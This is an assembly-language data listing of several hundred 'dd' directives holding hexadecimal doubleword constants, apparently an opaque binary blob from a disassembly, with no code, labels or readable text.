dd 0B01935ABh, 84F4D04Bh, 0A82EEB06h, 0D88CD0CEh, 0BCCC8E48h
dd 92E8CBFh, 74003F40h, 0A101A98Ch, 0F81515C7h, 3081FCAFh
dd 8A4CC53h, 79A10112h, 2C5B3174h, 0AD18A8ACh, 4506B51Fh
dd 380CF5DFh, 4C9918A7h, 0ACBC64FBh, 0FECE008Ch, 0F7B5EF43h
dd 8200902Dh, 7AC6D5FDh, 4651289h, 43C59535h, 0F30706F0h
dd 79A700D9h, 0E23886F9h, 6FE8158Eh, 64247E79h, 586AAC1Fh
dd 1347BB0Bh, 0CF10100Ch, 2BD84055h, 8420C758h, 608B54BBh
dd 2020F212h, 4AA115F8h, 8010813Fh, 8832BADDh, 1258B922h
dd 4E8B5AE1h, 665220ECh, 65027840h, 8F341B32h, 467464D7h
dd 588002E6h, 3191671Dh, 0B81B10D8h, 0C9430758h, 21C2A516h
dd 34A04F6Eh, 4043800h, 7C90D185h, 0A5760CD8h, 60D7C434h
dd 3D78B144h, 984C8526h, 1DF8410h, 1F91F213h, 6660B7FFh
dd 90744D61h, 8CA5B8h, 8B982181h, 0F36D9212h, 19048C9Bh
dd 1897A20Ch, 16485FD0h, 67864h, 66A18D68h, 8EB9F4ACh
dd 6026D409h, 24EC91E7h, 880C04F6h, 900F8C4h, 154D6DECh
dd 1DCE1F88h, 58F21491h, 8E2E91B9h, 7440A0ACh, 82028CECh
dd 61671B58h, 13D919BAh, 4F58D829h, 0DF4A3A3Fh, 0B2F8630Ch
dd 0FA098C88h, 7736C0Fh, 2B987704h, 0A67A0C1Ch, 0EC00AC89h
dd 2400A33h, 0EA987FAh, 9F780F90h, 8455F4E0h, 27146EBEh
dd 6BC4870h, 0CC265B2Ch, 1CF12C68h, 0B3AE4220h, 0E8A008E4h
dd 80B8912Fh, 0E0DE3835h, 0E0A8E062h, 80E5570Ch, 81738986h
dd 696EB609h, 9440A9BBh, 4B480AA8h, 9030BFA8h, 47E41A90h
dd 69E0C020h, 4C34A4CFh, 182314A5h, 849D1D0Bh, 14D80758h
dd 64D788ABh, 1D7C9D00h, 71484558h, 7A8B87Dh, 8D2E6254h
dd 2578903Ch, 5678B64Bh, 0F18428B3h, 0C898BA4Ch, 5B2F09F5h
dd 2848A570h, 0B401B8E5h, 0C0C6BFF2h, 0CC700B49h, 0A4AD547Bh
dd 0CBC0FFD4h, 270F009Eh, 3BB88E90h, 28983718h, 0F4A9E720h
dd 0F27320FCh, 1D205E09h, 95CF8082h, 9A975AAAh, 4EE3055Ch
dd 4E4CD7ECh, 0CE298CDCh, 0C4D45430h, 83F4D338h, 0F40679Ch
dd 0EA6001B8h, 16EC7E6Ah, 0B080C63Ch, 9D04B350h, 0FB02F8BAh
dd 2D5C88B7h, 205C40C9h, 0CCDF262Ch, 0FC024F38h, 3C48CBC3h
dd 0B940137Ah, 0C8246242h, 2007ABFFh, 0BFC383h, 9013E239h
dd 0AD37A5C0h, 14805890h, 5F0E14E8h, 0A10D1C07h, 443C27E2h
dd 169E2074h, 606B958Fh, 16F5ED54h, 11DA6C23h, 0E5A400BEh
dd 9983EBF5h, 0F4DCE1D4h, 78650C1Ah, 3499B063h, 15C87320h
dd 98A40D7Fh, 0C0F3F41Dh, 0D861D2DCh, 2C00EA28h, 269E3181h
dd 0F93F2245h, 0A17F4888h, 0B335F401h, 9C42B03Ch, 44E0DFE4h
dd 4D607B20h, 14079520h, 0C4C2001Ah, 414082BBh, 0F707C9FBh
dd 16D1B0BEh, 1B678890h, 0D0A500DBh, 22560D6Dh, 0E420F6F2h
dd 3DFB24F7h, 204E14A2h, 18D80AF1h, 0E42803F9h, 0FB396ED9h
dd 0C45D00AFh, 80EB4D2h, 802B76D3h, 0EA82E82Ah, 0F98A0386h
dd 444FC125h, 0B5D0A390h, 0FBB8C200h, 3201E17Bh, 0C3310030h
dd 4C39D95Dh, 58C072B2h, 0BE928EC9h, 85F82623h, 7DEF0C83h
dd 21C08208h, 4DBE8AAFh, 104B6057h, 691F5E6Eh, 7C23EA00h
dd 3CA97158h, 74B600FDh, 0C3322270h, 6D03890Ah, 687FFA93h
dd 0F790066Bh, 0F1D7E0F6h, 74324F18h, 27EE18h, 0A43FC9DDh
dd 3D571CFBh, 35969C9h, 0D0C2CAE0h, 66BA72EEh, 214F083Fh
dd 8D4E7C00h, 0B37DE176h, 0F7B1C078h, 0AE3EEBCh, 87CA0B00h
dd 678489DFh, 704D607Ch, 0C5A5BEFBh, 86401903h, 5462057h
dd 8F3A3518h, 61B801CAh, 80E51383h, 889267C8h, 0A035197Fh
dd 0E01EEED0h, 0C4BF0A20h, 80B0C390h, 5B0A6E29h, 23753B81h
dd 413149C0h, 0F5AA5C9h, 0E98E9BE4h, 3AE162E0h, 9A519105h
dd 0F72C0084h, 1892E0C6h, 73427E01h, 984F0A3Fh, 15D8D99Dh
dd 9380DC4Dh, 8DF824BEh, 0B084448Ch, 80BE8B0Eh, 91F4A76Dh
dd 74F77720h, 0A03A5475h, 0A3B83CBCh, 7DCAC060h, 0B9CF98BEh
dd 21C50365h, 2878FEh, 9932291Bh, 3D934684h, 80E7C33h
dd 42310015h, 0E0F23221h, 0D05F8C5Ch, 6C0678A8h, 609527B8h
dd 8882348h, 619C639h, 899FF3D8h, 9390C208h, 7AB30C8Ch
dd 0D700DCC1h, 0C8AB06D6h, 0F4CB45D4h, 2C4D00D2h, 757222A7h
dd 4E300A39h, 0BF3531B2h, 0B8E549F8h, 0C064A178h, 32082418h
dd 0C41E8494h, 1C405E16h, 6687A632h, 70051F89h, 8449840Dh
dd 83C490CFh, 0A314216Ch, 345844h, 0D4D37EF8h, 0F4308F43h
dd 0C3F70014h, 0D8FFFD65h, 83E1EBF2h, 6F906260h, 0C8E840A1h
dd 0C92E6CD6h, 7C009F49h, 7B2422BBh, 90310387h, 3348F80Ch
dd 0BE81CB80h, 0DF40E87Bh, 0EED91842h, 0D224150h, 3FE0C9C0h
dd 4CEB98D1h, 8C0280C0h, 9222099Dh, 0FA124D40h, 0BFD6ED00h
dd 3952AE56h, 0A0C330B0h, 896F3498h, 71CDE330h, 71FCC6E9h
dd 5DB30C53h, 0DE094AFFh, 0BF0921C0h, 0E68EDCFCh, 904E2BEh
dd 0A5AD4017h, 55618803h, 14FFA2B9h, 0C0C4C808h, 84983228h
dd 13223E46h, 3220410Fh, 438B077Eh, 307F2470h, 76E49266h
dd 84E651D6h, 1188F40Eh, 9C332DC0h, 4CF800D5h, 92F3C24Fh
dd 7226621Bh, 1E4448F4h
dd 0CC8D5860h, 1167C223h, 507E0051h, 0AFBCAB8Dh, 487A0724h
dd 30D5A1BAh, 0C7217BCDh, 8AFF8014h, 0FDD90CB4h, 2448393Ch
dd 25F9CB2h, 0B60579C2h, 30B50C60h, 0C04E5780h, 0BD132F29h
dd 8600ED0Bh, 0A9F9F1BAh, 3F0A2E9h, 52DAC05Bh, 8AB1755Fh
dd 25822E4h, 3EEDB947h, 1277E25Eh, 0F8CC0F90h, 3C5CE390h
dd 40901E4h, 480424D3h, 8800CE89h, 0B454C00Fh, 3AC37860h
dd 63FEFD9h, 638844B9h, 4F0F89Eh, 681D6F34h, 715FA081h
dd 46334D00h, 884B0A24h, 0A0880249h, 0D6F090D5h, 0A351C1B9h
dd 0D36F33FEh, 30A631C3h, 13404948h, 300DB814h, 15FD684Bh
dd 0F380C200h, 90E86560h, 83100EF4h, 0CD5163D8h, 0C9C2EA03h
dd 3E2C3324h, 8D9AC618h, 4A0B1A9h, 0F26324C8h, 3803A098h
dd 0AF01BCBh, 3BBFD85Ch, 80C49054h, 2098C278h, 77BA09Bh
dd 7D187160h, 99CA43BCh, 180FF14Ch, 3FDCA1D8h, 6807D821h
dd 27AB2B41h, 52BFA848h, 8F11B488h, 87B8080Ah, 4EB30B9Bh
dd 0C8870029h, 0D42628D0h, 1030980Bh, 0C2E45844h, 48C45F19h
dd 0E71FB840h, 0C37DB8C2h, 998621FDh, 0FE9096D9h, 7F845002h
dd 0C140E85Ch, 3030D693h, 87D88F1Ch, 5A00B57Fh, 0A6FFCE52h
dd 0D16CBC0h, 1E0803B6h, 0A2743330h, 33983087h, 71288600h
dd 2F904538h, 90E1549Fh, 1405E503h, 8B261C18h, 0FCC8C070h
dd 0C3465355h, 0B01E022h, 31A2FCC1h, 1870728Ah, 24445CACh
dd 12F0288Fh, 5C204C0Ah, 4190F6F9h, 0EC81F1FEh, 3505B08Ah
dd 0CC18BEF8h, 5430AC21h, 98EEF700h, 0C486C4A8h, 0FA31F201h
dd 0FCB0F3D9h, 60871034h, 282F91CEh, 57090C4Ah, 0ADF2F4h
dd 60D1F348h, 0FA3D01DCh, 0ECB9CF9Ah, 1CD6D8C0h, 5C58D062h
dd 20984934h, 5A026836h, 77C2CE8Dh, 80105531h, 71008D52h
dd 174BF7B5h, 483DA946h, 4E6834F3h, 0F03000B0h, 0D9A47903h
dd 11D91CB9h, 0B77D618h, 79435830h, 4860C001h, 260C97D2h
dd 0F758E113h, 0FB08BE13h, 44570821h, 0AA848C10h, 0A2098A01h
dd 5D0BF23Ch, 0F3C4F08Ch, 3309009h, 0FC55B07Dh, 0F42F4896h
dd 0A420F789h, 0FD3B2BF5h, 7980714Ch, 3AB8D354h, 0A2033871h
dd 0F08A14Ah, 0BCCFE1BAh, 10849024h, 2945CC5Fh, 0D41ADCF1h
dd 19B80499h, 0C78D5360h, 113FC223h, 4B790050h, 0C1160E8Dh
dd 54D89824h, 60E39418h, 1B2D91DBh, 2100ECE2h, 0AA20C9E9h
dd 924E96h, 2C8FA7B1h, 6CCEF8ADh, 55A0D363h, 0A03DF84Bh
dd 0C6E50684h, 0F05FFFB0h, 7FA2A0Eh, 5048E62Ch, 88CF51C0h
dd 2089C221h, 682081B3h, 2A970B7Bh, 9F52D43Bh, 0E341792Ch
dd 8E8CE63Fh, 90C262C4h, 4E1C208Ch, 0C0A6D3Ch, 1047B487h
dd 4C770A2Dh, 1C889588h, 21F28AF4h, 903802C0h, 0CC806F4Bh
dd 0D992C84h, 24942D48h, 483AC24h, 485B0C57h, 0F43C0C48h
dd 0C45A4D72h, 1B48900h, 343E4EA1h, 0EFC07364h, 0C82068A1h
dd 0B49F883Dh, 8A449617h, 1223403Ah, 97FB1602h, 0D324409Ah
dd 0FA308084h, 0D4503160h, 9161D0F3h, 80C11180h, 84953225h
dd 0C070B926h, 3F321D3Eh, 6FF18700h, 786784D0h, 0CEF7805Eh
dd 25F51022h, 0DC97D8CBh, 0E1818711h, 0ECBFFE74h, 1CB138D6h
dd 7B0C5385h, 49F8C440h, 985FD602h, 6344204Ch, 0A04A562Ah
dd 80B1653Eh, 425D9E38h, 0C4BDD1h, 8862BBF5h, 821FB11h
dd 8C89D1CCh, 3FE405h, 532D7BFAh, 0D99043B0h, 6E99FC60h
dd 25B35A93h, 6CA4546Ch, 0BE986052h, 0B5F82329h, 387B8811h
dd 2402BE90h, 0DB640A18h, 314B8CC0h, 55D45F03h, 0D4E49A2Fh
dd 7AE19890h, 521000F7h, 87EFFD04h, 0D4039E46h, 0F2BB33BCh
dd 3D9CE0B2h, 0F8F6EC2Bh, 12096E8h, 0B8BC783Eh, 9058FEB3h
dd 4B52E203h, 37F9FA1Dh, 0A1607616h, 3402EEF4h, 10F69828h
dd 342C980h, 2C4D5395h, 20242823h, 0BE0A7639h, 6578208Ch
dd 0D4808C0Dh, 9F8010E7h, 6191247Ch, 0A8A12B0h, 0C59C5138h
dd 0F8498197h, 859C58ADh, 8FB488h, 0B677B0BEh, 13755E5h
dd 0A267801Ah, 303052E0h, 0AD317DB1h, 0B400C2B6h, 2FFD5584h
dd 1FE48ACh, 86FA0631h, 2049145Fh, 0A105C814h, 853B1B3h
dd 400C24C1h, 8289065h, 0EC4C1493h, 0D1E1EC13h, 7132F400h
dd 0DC40EE38h, 0F8C56B0Ch, 50D2D71Ah, 0BB1060EEh, 2ED58086h
dd 9105AF01h, 722D76F4h, 0A1806438h, 0F974A5CFh, 213F40AFh
dd 254108D7h, 80C93892h, 0E5439C60h, 3EBB4400h, 0D3C47A13h
dd 0F6BE3C04h, 0FC9DFA43h, 247880C2h, 0A74D6100h, 35D47042h
dd 0D39474BFh, 39E04968h, 6CE8AC0Eh, 80389308h, 0E1CFF3BCh
dd 4F26C243h, 6F957434h, 0C4660FC0h, 90177ECEh, 0FC505867h
dd 8CEB535Ah, 10E644h, 9627FCC6h, 65F47D36h, 751F801h
dd 8FF6EF88h, 0F2D8FB10h, 0C4896467h, 5073EBF2h, 782C09C4h
dd 0B0C974F7h, 425611B0h, 128031B8h, 7578CFC0h, 9A5C0E72h
dd 0A0007F74h, 0DF40A97Ch, 1658235Ch, 48CA1446h, 55C31B84h
dd 9BF6AE8Dh, 1521184h, 0DF8D4D7Bh, 99C475A1h, 6D60C064h
dd 7963B8BDh, 8B44589Eh, 40DAE445h, 14607E80h, 480050D0h
dd 0EDAF4736h, 143D7D0Eh, 0E4B83E27h, 48F29711h, 8C11E8D8h
dd 2DD193Ch, 98863AD8h, 524090D9h, 0B5780007h, 2B012202h
dd 9A02177Fh, 23D280ACh, 0B448EBB4h, 0E8BB3482h, 30B0C238h
dd 53D87693h, 0A1C0C1F4h, 0AE2D6EF8h, 0C965029Bh, 0E1C8F6FAh
dd 0F744D852h, 4C610F9h, 0A1AC17DFh, 0F4785004h, 5836101h
dd 87820E1h, 0EC325789h, 0D6D5F700h, 0E59BFAEh, 4F3A1100h
dd 0DC4C4584h, 3F49EE4Dh, 0E0D3C9B2h, 0B304EA2h, 0A47C01D9h
dd 0CF75D746h, 7AF07257h, 0B68E5200h, 9DE3DF16h, 209090ACh
dd 0D400585Ch, 0F8CED5BAh, 4CED80C2h, 4B1D0C5Ah, 3E5B4F48h
dd 70180D73h, 3BB86019h, 14CAC488h, 0D8BB7E1Ah, 9C90E48Bh
dd 0EB0067D2h, 42A99148h, 7D168Ah, 0C2C8D82Ah, 586C79E1h
dd 7494C60h, 0F8599h, 0F481BAAFh, 161ABF0Bh, 0D100AFB8h
dd 0C940F6F0h, 0A1E75D24h, 0C321D4h, 7BA00771h, 0F030A9F5h
dd 65DFB09h, 0D36482C9h, 46B07A77h, 0FCC7028Ah, 1CBB5354h
dd 0FCC00A04h, 60C3C592h, 1216E4ACh, 21DE12B0h, 20B60F74h
dd 0D9115BECh, 35003AF0h, 0D01C947Ch, 0C2E642E0h, 9F902Dh
dd 0EF6E1A40h, 0C039D01Eh, 12427810h, 670A3427h, 108C0E1h
dd 7444245Bh, 7103E546h, 2335C455h, 0D53C90D0h, 2BB2ECF1h
dd 0F388589Ch, 20CC289Fh, 38A1E62Ch, 8DC4191Fh, 6FC22FCDh
dd 7F020416h, 6A968D51h, 0A6C985Dh, 39382B89h, 808E91C0h
dd 5358FCCBh, 0E0087DBh, 3D3EFCC4h, 0DDBA01D5h, 80C35FA4h
dd 0F34024F9h, 2AEB2312h, 1FB028D3h, 0B30BD319h, 0D4CB89E9h
dd 82215100h, 8829BC5Eh, 7CF6EAD9h, 0EDB0223Ch, 172C550Dh
dd 1C58380Bh, 52504D9h, 95A24F84h, 0CC9403E4h, 65A73E8Eh
dd 24488744h, 672401B5h, 0E8475794h, 305338B5h, 0E2C8F0CBh
dd 7400B8CAh, 7E3317A3h, 42FF5AC3h, 0E5278324h, 0D494204Ch
dd 841DFD10h, 1862987Fh, 102CF6F9h, 2444C0EBh, 4B03005Fh
dd 5E602830h, 8867552Bh, 0E22C8303h, 6CC1847Bh, 0E301D304h
dd 0CA18ED1h, 965C01B9h, 48202659h, 0CC6049F4h, 3EC06E4Ah
dd 4F369461h, 0BCBF22A8h, 0A8404EC4h, 71C43B29h, 3F38DD00h
dd 0FF4CBE19h, 4BBC1DBBh, 0C79934Ah, 27E192D0h, 5F2CF809h
dd 9C04947Eh, 0E1465644h, 11F40A76h, 9982791h, 3481421Ch
dd 30B5931Bh, 7C912610h
dd 0C56A8100h, 8091A3B8h, 3A4A7332h, 8223B83Bh, 32888814h
dd 674B61B6h, 60E34464h, 3CCB51C9h, 0EF00B1B5h, 0A5A37C9Fh
dd 0BF057B01h, 8980C733h, 51A48B0h, 0A3886B68h, 3CCC88Fh
dd 744F155Ah, 4CB023h, 9F003C22h, 0F9F4C386h, 539D4F0Ah
dd 8AA27839h, 78DF30h, 8B73061Ah, 0D5A1C88Fh, 2FFF201h
dd 0EFDCF67Ah, 0D46C4421h, 5320F9A2h, 5A86235Fh, 23F83BDEh
dd 5E120E15h, 8DC02BE1h, 0B9F0476Ah, 7E051858h, 0A3440887h
dd 97DA3C08h, 0CCE0284Ch, 4CC4D488h, 9110B4CEh, 10FC58E7h
dd 0B30A79CBh, 44984DA4h, 0BE94604Eh, 95F82325h, 0B1008311h
dd 1BA6BE8Ch, 0CC6E8649h, 22CEE289h, 1178D926h, 32829FBEh
dd 710E8492h, 1A3B60BCh, 0A713EC32h, 0AC04C128h, 0CB015B0Dh
dd 1005AB03h, 4D04534Bh, 932698FFh, 262A082Ch, 4B9B2305h
dd 0DD885C8Eh, 0B080CCC4h, 344D62FEh, 4871D32Ch, 0BA40ADA8h
dd 0C494B5EDh, 0C85CABA0h, 268C8FB0h, 3D3DFCCCh, 0FE13058h
dd 368C20C5h, 0D20530B0h, 0E235703h, 510A8445h, 0CE082CB2h
dd 0E837FA34h, 670027F4h, 87B47C8Ah, 2C224217h, 8442848Dh
dd 79282074h, 0A61705F0h, 0C48CF789h, 0E9B40199h, 531A905Ah
dd 806A612Ch, 8E7E9A18h, 2DB0627Fh, 0A0059DFFh, 9750402Fh
dd 8549D0D6h, 9D267700h, 9CF0A3B0h, 6A1D011Ah, 2A722166h
dd 8D4430BDh, 48E3CA80h, 58116042h, 0C6AD2567h, 0C81FFFB0h
dd 58495E42h, 0F96E3F78h, 96264A03h, 0B075E1C7h, 9A2C8h
dd 1F13989h, 0EF8A1FF2h, 8073FA28h, 0B82CA459h, 0A9C33D58h
dd 0FF1CC84Ah, 95CF7000h, 2C4B1CD9h, 1CC927Dh, 0D02F6DA8h
dd 38817F48h, 0FC520508h, 34C80F36h, 1A5B4085h, 0B7F3F8A0h
dd 0F0204B81h, 44E94E52h, 0E0A45F54h, 0FD2FF12Ch, 7D809807h
dd 87190863h, 0C5F091DCh, 962CACD3h, 0B63E0A80h, 0E7A2B83Ch
dd 0AD8C5093h, 401A2003h, 0F8BA24E8h, 891192F7h, 0B0A2681Ch
dd 0FF903958h, 4A0C924Ah, 9300A0E6h, 1679E376h, 28ED483Eh
dd 46C82B1Dh, 8D54021Ah, 5947C2C8h, 4C7A6050h, 741CDC8Dh
dd 5CEE56FEh, 8925664Ah, 0D866DCh, 43E818EFh, 0C9204211h
dd 7233C8A9h, 30E3F2A4h, 40019CDBh, 0F95814DFh, 0EC70518Bh
dd 24552502h, 222D4090h, 460D8300h, 31A8723Fh, 0DB9207F0h
dd 0A033591Eh, 674D29FFh, 0A8E80AFEh, 2707F092h, 0AD14A99Bh
dd 908F8001h, 2FC2EC3Ch, 0B4820AFAh, 440925E6h, 9EA900C8h
dd 713089DFh, 0E4EEAB3Ch, 29E92A61h, 0E0C1F6FAh, 18103C2Dh
dd 0BCCF135Bh, 45BDC898h, 78FC602Eh, 5048484Bh, 0C037AD9Dh
dd 61319F0Eh, 35D9BA5Fh, 5442944Dh, 0EA844B4Eh, 82C054F2h
dd 9EF7883Ah, 0F0F45301h, 0A2920828h, 3053B2E8h, 40076414h
dd 0C75C9618h, 6A930CE2h, 2280149Ch, 611D18BEh, 84E46D84h
dd 0A535AD04h, 0E858E814h, 7B2C5481h, 504B2B29h, 0B3346043h
dd 304959E0h, 63EDF200h, 62E41F20h, 0D84AC8B2h, 8461ACC9h
dd 16F0522Fh, 0E3F8044Ch, 13E4F485h, 13721920h, 72F1D370h
dd 380C8898h, 0D1CF2AF2h, 244F11DCh, 0A7D60841h, 26F8286Bh
dd 50DC91CAh, 53125017h, 0C1FBD4B8h, 0D8B58521h, 8D0706A8h
dd 0AA9E9B9Dh, 5BD3FF60h, 378B7B58h, 61200B0Dh, 0C13F68C0h
dd 89049E0Fh, 2B0044B7h, 0CE1B6D95h, 4186A26h, 361E851h
dd 0C3592021h, 0FC7E89C9h, 2118CCFFh, 0C3510141h, 705426B0h
dd 0F408023h, 95FFFBBFh, 5A1463B1h, 314C12E9h, 0C57A0075h
dd 1051B940h, 4E7B0003h, 3328807Dh, 3A0E52E1h, 6C0FC085h
dd 3981350Ch, 0E381C5EAh, 0A18D8954h, 8156A029h, 0F6EC3B31h
dd 1FEDB531h, 95E16447h, 84010D1h, 529DBD03h, 5223742Dh
dd 44C35A0Eh, 17625489h, 0C3524220h, 71D10086h, 664FB2CCh
dd 78A1D38Bh, 502B42C9h, 91456332h, 2B484489h, 50408814h
dd 8DDBC303h, 40EE1985h, 6FC1DCCAh, 2DAFE30Ah, 66500C58h
dd 34D6BF01h, 5E8016Ah, 94264580h, 8B6925EBh, 326DBD19h
dd 2688592Eh, 7B8007E9h, 5CE3DA6Fh, 1C4C6C78h, 683BD1C0h
dd 0BD0F32FFh, 0C35F3057h, 7C4689E4h, 47001622h, 2F71C357h
dd 31BD899Bh, 0F7A30E5h, 722448Ch, 0F683FE8Dh, 14C5D399h
dd 0ED204484h, 3CB5DDAh, 1FBF040Eh, 0AF549B5h, 83EC9887h
dd 36E9EA8Ah, 56A43164h, 0C8C35E61h, 448C7489h, 5600461Bh
dd 609CD2C3h, 17CE1965h, 15230A62h, 83409D90h, 6E72C8C8h
dd 34B983BCh, 91F55099h, 3222B5FFh, 2231B041h, 646F38A8h
dd 88F51927h, 0E9880759h, 0B60BC434h, 3F54823Ah, 1B08AC2Fh
dd 8EFC01D3h, 505B4917h, 136AA034h, 0D2B70F18h, 92330D64h
dd 33F951E1h, 0BD2920DEh, 6A920EADh, 0E8DE1048h, 4D148C16h
dd 0B2D254C8h, 0CAC72840h, 1C46749Bh, 3BA0C100h, 0F5EF056Dh
dd 8A5BB507h, 0F85E89EBh, 0D015E9DFh, 9510B233h, 19834528h
dd 49B9FFCEh, 4E882534h, 0C11D8859h, 0D1D5191Ah, 7B74D4B4h
dd 6AACA932h, 66F6B0FFh, 0BDD11481h, 3335C389h, 0EAC81E17h
dd 37C78593h, 0BF28A9D0h, 958BC0F9h, 3D991591h, 928E0F09h
dd 0F8725700h, 4D3DB00h, 0A873F2EEh, 9509089Eh, 6A922B5Dh
dd 20EACDBBh, 7412CE89h, 1C720CDAh, 60C6482h, 0F2D58060h
dd 2B45C261h, 2A045B02h, 0CE170A77h, 0BA424F23h, 404C76A0h
dd 71770376h, 0C224AEDh, 0A67BE3BAh, 170960E8h, 0C72FEDAAh
dd 0CAC64C01h, 0BD33BE3Ah, 0D58C25FDh, 572B8068h, 3125798h
dd 0DD21810Fh, 0B8013E8h, 0CE69C4B1h, 60000BB2h, 5A9722FAh
dd 75E928Ch, 0CC7649B8h, 0B961D791h, 9199C2BDh, 0B91005D2h
dd 0A93A951Eh, 0D07EA63Fh, 8558761Ah, 0CB4C714Fh, 0A0C02D68h
dd 9107ADF1h, 0A7D1145Ah, 0F6138B74h, 1B212EDDh, 2B8C1AC1h
dd 0F9450184h, 0FA0C4498h, 8AFFF883h, 0FB8DDDA2h, 0CCF72514h
dd 84E37384h, 20A0CD6h, 44C4A48h, 0C3558890h, 8991C35Dh
dd 806B636Ch, 8DC35545h, 90DEE6B7h, 821EECAFh, 243BBB81h
dd 5357915Bh, 49C3DF9Eh, 2C9C5C89h, 0C3534303h, 19757984h
dd 0FF339154h, 0E1CC61D0h, 8E32412Dh, 0B129031Eh, 144501A9h
dd 469B5985h, 928E91C0h, 0E952E4F8h, 879A02E8h, 860C3028h
dd 0B0E5D99Eh, 12096247h, 74222DE9h, 17B4E319h, 3CD8B880h
dd 0A146ACB6h, 17202246h, 0D62F40D6h, 19E27542h, 0E059E430h
dd 550213A5h, 0E7590060h, 0B1611F16h, 81C29468h, 2A501160h
dd 255B4A42h, 23173A04h, 0D6110118h, 915BD03Fh, 0CC000DB2h
dd 0A1D19653h, 1103C11Fh, 4781D567h, 0D4D799B0h, 303B2FD0h
dd 0E1A8595Ah, 80C392F6h, 5CABC580h, 2D6180Ah, 85AF5775h
dd 0D39AF48h, 9D63F9B9h, 631958D9h, 664CA3D4h, 9873DB3h
dd 0F104653Dh, 0FE81C8AFh, 0B50105D1h, 328C66C9h, 0C92F0E01h
dd 29101B66h, 2D4109B5h, 0CB586336h, 5C5888C0h, 5B714A5Fh
dd 0D02E97B8h, 46747350h, 8C660017h, 9D09BE7Eh, 4C329A49h
dd 7D103F60h, 52512C32h, 0EC52228h, 79996158h, 1D883B0Bh
dd 0DDA1DFC0h, 0D89206AEh, 66EE7599h, 0B2F58524h, 1FAC9FA6h
dd 218467Eh, 5E2A34D4h, 0C8ABCC40h, 9EA4B1CAh, 0E9C7D00Fh
dd 40202D75h, 1AE28823h, 4342F30h, 785ED287h, 0BDCDC86Eh
dd 2AA23EA2h, 111F0185h, 80EF8F1Bh, 2FFFF5D9h, 31D609B9h
dd 94AA8985h, 21A51D1Ch, 34EF1D08h, 506D0076h, 9F40F4BAh
dd 0E71E544Ah, 286E7C0Bh, 467EE9E4h, 0BA5C0119h, 6DF3F70Eh
dd 2837DF42h, 24FD0DBFh
dd 60330896h, 5DBD0B12h, 9D8B3941h, 0C972C71h, 52216261h
dd 1549FE60h, 0A8205F81h, 0E01E4959h, 0E11E66C9h, 22526843h
dd 0A43016E2h, 2230B837h, 2B90068Fh, 9E158D4Ah, 10E889E5h
dd 479AECEh, 0C10299EFh, 0DF5BC09Eh, 5F12A32Bh, 5222870Fh
dd 54E4E9h, 0FCE75B76h, 35F4BBC2h, 7528F20Eh, 15ABE0B7h
dd 1869B573h, 310FE97Dh, 0CF4DCD80h, 84238B0Ch, 50041924h
dd 60CF98F5h, 64FD8B77h, 0AC936122h, 1009CC31h, 79BD3100h
dd 43721D4Ah, 61C5C057h, 59598134h, 509F46E1h, 0A0502F4Ch
dd 0AB9F048h, 56E72521h, 0CAED481Ah, 0B6873D3Eh, 0DFF76FE9h
dd 0EBD92D8h, 881F1691h, 0DD341B28h, 0EFDB1820h, 0BD9F56C3h
dd 0E2811980h, 0BBA9E80Bh, 0C8441B09h, 50031165h, 5AAD24Ah
dd 7B8B8C29h, 0CACDC176h, 6441DE59h, 88424E19h, 3CE3C01Ah
dd 0F1019EE4h, 0BD89B8CDh, 45322691h, 88E9FA0Bh, 7AFEBC29h
dd 8D098D2Ah, 0E9EF3DB5h, 0B5733957h, 0D09B7C12h, 3CFEDF3Bh
dd 0B52082B8h, 0E95711A3h, 83AB070Eh, 8F9035D5h, 5935A2Ch
dd 1CD3F37Dh, 95EB0760h, 23910981h, 8B998D0Dh, 37089DF3h
dd 25B5BAF9h, 6A0431BDh, 0C868CE6Ah, 0E57EC01Dh, 98007818h
dd 0D3E49FC7h, 28156FFh, 87AADECFh, 4F925A6Dh, 1B11BD1Dh
dd 0A9E3FD80h, 0F008E84h, 2DBFB9CAh, 480216ABh, 1880EDE8h
dd 52EFCCD4h, 0C88A480Bh, 6585895Ah, 671BE416h, 1E4A88C0h
dd 483D01C9h, 9D896015h, 26F62969h, 0F06A2886h, 610BF522h
dd 42B18D33h, 0C439E753h, 0D9217FD9h, 666E057Bh, 83FBF6B9h
dd 8C900A26h, 0ABB90913h, 80D88B80h, 0C653C7E1h, 19281544h
dd 74890339h, 0EC50433Ah, 21212006h, 1AA8AAF7h, 42B6B575h
dd 93046017h, 9B1413F5h, 74146110h, 6AF18A13h, 230B36C4h
dd 5F0068E8h, 0DAA3393Fh, 0EC973480h, 71AD74F4h, 594FB50Ch
dd 0A965B450h, 85286AB1h, 8AC7E90Dh, 45B0550h, 0F30B9DC6h
dd 3014E21Eh, 43B46A41h, 18154674h, 0D29AF23Ch, 48D14E93h
dd 8BBE04E9h, 9534BBFh, 0CF792F74h, 0B85414CAh, 367C8C1Ah
dd 9DCC2200h, 0BD010A32h, 0C872EB35h, 0A229D51Dh, 46569596h
dd 0EAB31815h, 0C4BCC2C8h, 0F5551h, 0E9C3DD80h, 1ECF8811h
dd 49F7B400h, 78E6C7Bh, 547F0AEh, 0C0E4BECDh, 2C0E99B0h
dd 20DC8FF9h, 477EC701h, 0F0520027h, 382C95A3h, 110B0AA5h
dd 8B8F8A7Ah, 5A66A599h, 0B0512D98h, 0FC0144F5h, 96045949h
dd 6E00D86Fh, 80D972D5h, 0A858E974h, 14B91071h, 18402C76h
dd 65E63CB0h, 344A70C7h, 0D6804631h, 1748B9C8h, 2C0E130Fh
dd 2B893C72h, 800DA870h, 17C38C3Dh, 4E94830Fh, 0C726FD6h
dd 0A85356BFh, 59D9A85Dh, 4256B65Fh, 36A4983Dh, 0B99A355Eh
dd 66B8B5C1h, 0BD8048E9h, 1609725Eh, 982EE657h, 8A600141h
dd 499D8BC1h, 38093516h, 0CF29D40Eh, 0A11940A6h, 0EEAA57h
dd 374B50F8h, 0C72D6C70h, 9CBDA02h, 7914FDB5h, 8B28924h
dd 0C688C39Fh, 0C621FC0Bh, 9DC0720Bh, 801A6F2Dh, 407CEDEAh
dd 822CCD8Ch, 2E150779h, 920B3F80h, 322102F5h, 88192F21h
dd 0A0B6D3Eh, 8EE113E9h, 6BEE36B1h, 82835D10h, 8E0C018Dh
dd 5622D037h, 65803BB1h, 52FFC2D8h, 118BCB8h, 88A170A2h
dd 1CF42E1h, 1DD9B759h, 0DD3E4318h, 0E6E480C8h, 9C02C26Dh
dd 885A4A56h, 861D7F1Ah, 2C0053A3h, 0EC1B4CEAh, 47AE03F8h
dd 0E024D817h, 0F231E9E0h, 31CFF71h, 49254595h, 0FE4FF87Ch
